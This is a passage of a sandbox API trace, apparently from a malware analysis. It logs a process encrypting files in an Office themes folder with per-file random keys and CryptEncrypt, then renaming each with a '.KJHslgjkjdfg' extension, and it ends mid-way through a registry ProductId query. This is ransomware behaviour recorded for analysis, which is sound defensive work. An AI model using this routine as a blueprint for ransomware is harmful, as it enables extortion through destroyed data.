(in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.720] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.720] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.720] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.721] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.721] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.721] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.721] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.721] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf82, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xf82, lpOverlapped=0x0) returned 1 [0177.721] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xf90, dwBufLen=0xf90 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xf90) returned 1 [0177.721] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.721] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xf90, lpOverlapped=0x0) returned 1 [0177.721] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.721] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.721] SetEndOfFile (hFile=0x12c) returned 1 [0177.723] GetProcessHeap () returned 0x990000 [0177.723] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.723] GetProcessHeap () returned 0x990000 [0177.723] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.kjhslgjkjdfg")) returned 1 [0177.724] CloseHandle (hObject=0x12c) returned 1 [0177.724] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0177.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.742] GetProcessHeap () returned 0x990000 [0177.742] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.742] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.742] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.742] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0177.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.745] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.745] GetProcessHeap () returned 0x990000 [0177.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.745] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.745] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.745] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.745] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.745] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.746] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.746] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.746] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.746] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.746] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1205e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1205e, lpOverlapped=0x0) returned 1 [0177.748] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x12060, dwBufLen=0x12060 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x12060) returned 1 [0177.748] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.749] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12060, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x12060, lpOverlapped=0x0) returned 1 [0177.749] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.749] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x12134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.749] SetEndOfFile (hFile=0x12c) returned 1 [0177.752] GetProcessHeap () returned 0x990000 [0177.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.752] GetProcessHeap () returned 0x990000 [0177.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.kjhslgjkjdfg")) returned 1 [0177.756] CloseHandle (hObject=0x12c) returned 1 [0177.756] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0177.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.757] GetProcessHeap () returned 0x990000 [0177.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.758] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.758] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.758] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0177.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.759] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.759] GetProcessHeap () returned 0x990000 [0177.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.759] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.759] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.759] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.759] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.760] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.760] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.760] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.760] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.760] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.760] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.760] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x239, lpOverlapped=0x0) returned 1 [0177.760] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x240, dwBufLen=0x240 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x240) returned 1 [0177.760] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.760] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x240, lpOverlapped=0x0) returned 1 [0177.760] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.760] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.760] SetEndOfFile (hFile=0x12c) returned 1 [0177.762] GetProcessHeap () returned 0x990000 [0177.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.763] GetProcessHeap () returned 0x990000 [0177.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.kjhslgjkjdfg")) returned 1 [0177.768] CloseHandle (hObject=0x12c) returned 1 [0177.770] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0177.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.771] GetProcessHeap () returned 0x990000 [0177.771] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.771] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.771] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.771] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0177.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.773] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.773] GetProcessHeap () returned 0x990000 [0177.773] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.773] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.773] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.773] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.773] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.774] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.774] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.774] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.774] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.774] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.774] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.774] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.774] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcf7b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xcf7b, lpOverlapped=0x0) returned 1 [0177.776] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xcf80, dwBufLen=0xcf80 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xcf80) returned 1 [0177.776] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.776] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xcf80, lpOverlapped=0x0) returned 1 [0177.776] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.776] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.776] SetEndOfFile (hFile=0x12c) returned 1 [0177.778] GetProcessHeap () returned 0x990000 [0177.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.778] GetProcessHeap () returned 0x990000 [0177.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0177.780] CloseHandle (hObject=0x12c) returned 1 [0177.781] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0177.781] GetProcessHeap () returned 0x990000 [0177.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.781] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0177.781] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.781] GetProcessHeap () returned 0x990000 [0177.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0177.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.781] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0177.781] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.781] GetProcessHeap () returned 0x990000 [0177.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0177.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.781] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0177.781] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.781] GetProcessHeap () returned 0x990000 [0177.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0177.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.782] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0177.782] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.782] GetProcessHeap () returned 0x990000 [0177.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0177.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.782] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0177.782] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.782] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0177.782] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", 